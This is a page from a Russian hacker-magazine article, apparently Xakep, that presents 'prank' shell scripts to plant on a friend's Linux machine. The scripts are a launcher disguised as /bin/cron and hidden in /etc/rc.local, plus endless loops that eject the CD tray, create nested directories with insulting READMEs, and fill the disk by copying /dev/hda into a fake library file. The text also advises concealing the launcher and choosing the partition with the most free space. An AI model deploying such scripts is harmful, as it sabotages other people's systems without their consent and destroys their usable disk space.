Приколись над другом-линуксоидом v.2

Xakep, номер #050, стр. 050-078-2


Требуется: root + куча времени

Представляю твоему вниманию новую версию моих элитных скриптов настоящего Linux-западлостроителя ;). Юзать мы будем бесконечные циклы, так как рульность их доказана многократно и в представлении не нуждается. Рассмотрим shell-скрипты. Главный скрипт - /bin/cron (закос под cron daemon), его надо добавить в /etc/rc.local и желательно максимально замаскировать, а не тупо приписать в конец файла:

#!/bin/sh

#1

/bin/shell1 2>/dev/null &

#2

/bin/shell2 2>/dev/null &

#3

/bin/shell3 2>/dev/null &

#4

/bin/shell4 2>/dev/null &

echo "* eleet scripts v0.02pre-beta coded by SHuRuP loaded successfully! *"

Тут все наглядно: вызываются подпрограммы, и выводится надпись об удачной загрузке скрипта. Первый скрипт (файл /bin/shell1):

#!/bin/sh

while :

do

eject -t /mnt/cdrom 2>/dev/null

eject /mnt/cdrom 2>/dev/null

done

Запускается бесконечный цикл (как и во всех дальнейших случаях), который будет аккуратнейшим образом открывать и закрывать одноглазого ;). Возможен вариант добавления копирования контента на хард (т.е. mount /mnt/cdrom; cp –R /mnt/cdrom /root/cdrom; umount /mnt/cdrom), но тогда пропадает преимущество быстрого вытаскивания/затаскивания CD-ROM'а. Исключение составляют обладатели еще не существующих коробок а-ля HP CDRW 65536x/31337x/666x (чтение/запись/перезапись компактов) :). Все это неблагоприятно может сказаться на общем впечатлении от творящегося беспредела, но вкусы у всех разные...

Второй скрипт (файл /bin/shell2):

#!/bin/sh

cd /

while :

do

mkdir lame

cd lame

echo "admin is too lame" >README

done

Почему-то мне кажется, что далеко не всякому Linux-гуру будет по кайфу лицезреть парочку-другую десятков/сотен/тысяч подкаталогов с файлом README, содержащим совсем не симпатичную (хотя кто знает?) для него мессагу. Главное, не переборщи, имей хоть каплю совести.

Итак, теперь третий скрипт (файл /bin/shell3):

#!/bin/sh

while :

do

cat /dev/hda >>/usr/lib/libxwin.so.2

done

Идея этого представителя El33t scripts'ов заключается в копировании содержимого жесткого диска в виде некой каши из символов бесконечное количество раз. Что, в конечном счете, при наличии шустрого винча выдаст феноменальные результаты: сотни мегабайт "мусора" за считанные секунды! Таким образом, все дисковое пространство, заботливо припасенное наивным юзером на случай появления свежего варез-архива в рунете, сожрется в мгновение ока, разбив сердце доверчивого линуксоида.

Внимание: Каталог для файла libxwin.so.2 (название данного файла - пародия библиотеки) надо выбирать, исходя из статистики команды df, отхватив кусок, где побольше свободного места, или распихав подобные либы по всей файловой системе, чтобы не заморачиваться определением точки бомбежки.

Назад на стр. 050-078-1  Содержание  Вперед на стр. 050-078-3